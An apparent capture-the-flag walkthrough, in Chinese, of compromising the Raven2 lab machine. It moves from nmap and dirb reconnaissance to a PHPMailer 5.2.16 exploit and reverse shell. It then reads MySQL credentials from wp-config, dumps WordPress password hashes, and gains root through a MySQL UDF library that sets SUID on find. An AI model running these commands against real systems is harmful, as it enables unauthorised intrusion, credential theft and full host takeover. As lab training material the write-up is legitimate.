0x00 信息搜集
先用工具将靶机位置找到,然后再nmap仔细探测一下
┌──(root㉿Breeze)-[/home/breeze/Desktop/100/1]
└─# nmap 10.10.10.136 -sS -sV -A -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-17 10:05 CST
Nmap scan report for 10.10.10.136
Host is up (0.00046s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
| 2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
| 256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
|_ 256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: Raven Security
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 40268/udp status
| 100024 1 40665/tcp status
| 100024 1 42688/tcp6 status
|_ 100024 1 49152/udp6 status
MAC Address: 00:0C:29:57:62:33 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.46 ms 10.10.10.136
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.52 seconds
只开了三个端口。
22端口没有什么信息,我们看一下80端口。
一个普通的web界面,登陆和注册也点不动。
我们用dirb进行一下目录扫描吧。
他说这个目录是可枚举的,那我们直接访问就行了。
在这里发现一个flag。
我们读readme文件可以看到有效信息。PHPMailer
继续读version可以读到PHPMailer的版本
总结得到 PHPMailer 5.2.16·
我们直接去搜索对应的exp
第一条就是,https://www.exploit-db.com/exploits/40974
我们直接下载
查看一下本机的网卡地址是10.10.10.128
按照自己更改这四个位置,然后在本机建立监听。
运行成功,我们直接访问contact.php
然后再访问那个后台文件成功回显。
进入到目标主机,用这条命令找flag
www-data@Raven:/var/www/html$ find / -name flag* 2>/dev/null
有个flag.txt可以直接访问。
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
还有个图片,直接访问就行了。
直接查看这个文件。获得数据库密码和账号。
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
ps aux | grep root
在这里找到mysql的进程信息。发现是用root权限执行的。
dpkg -l | grep mysql
在这里看mysql的安装信息
既然知道了账号和密码,我们直接登陆mysql。
mysql -uroot -pR@v3nSecurity
加下来看看它的数据库信息
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| wordpress |
+--------------------+
直接进入wordpress数据库
mysql> show tables;
+-----------------------+
| Tables_in_wordpress |
+-----------------------+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
继续查看一下user表的信息
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
| 1 | michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael | [email protected] | | 2018-08-12 22:49:12 | | 0 | michael |
| 2 | steven | $P$B6X3H3ykawf2oHuPsbjQiih5iJXqad. | steven | [email protected] | | 2018-08-12 23:31:16 | | 0 | Steven Seagull |
+----+------------+------------------------------------+---------------+-------------------+----------+------
得到两个用户名和加密后的密码
michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael
steven | $P$B6X3H3ykawf2oHuPsbjQiih5iJXqad. | steven
show global variables like 'secure%'
;查看是否有写入权限
写入条件为空,满足条件可以进行提权
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
我们的版本是5.5,6。版本大于5.1。此时我们要查看插件的位置
mysql> show variables like '%plugin%';
+---------------+------------------------+
| Variable_name | Value |
+---------------+------------------------+
| plugin_dir | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.00 sec)
我们找到了插件文件夹的位置是/usr/lib/mysql/plugin/
另外一个条件是要能远程登陆,我们用这个命令来看一下是否可以
use mysql;
select user,host from user;
发现这里root用户不允许远程登陆,因此不能利用MSF提权。
利用CVE漏洞
searchsploit udf
寻找对应的版本的mysql udf提权漏洞
gcc -g -c 1518.c ---GCC编译.o文件
gcc -g -shared -o dayu.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
本机开启htt服务,靶机下载编译后的文件
进入数据库创建数据表ice:create table ice(line blob);
插入数据文件:insert into ice values(load_file('/tmp/ice.so'));
dayu表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数:select * from ice into dumpfile '/usr/lib/mysql/plugin/ice.so';
创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname 'ice.so';
用select * from mysql.func
查看函数是否创建成功
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:select do_system('chmod u+s /usr/bin/find');
find / -exec "/bin/sh" \;
用id发现直接就是root权限
标签:渗透,mysql,michael,ice,user,wp,Raven2,root,靶机 From: https://www.cnblogs.com/ForBreeze/p/18139999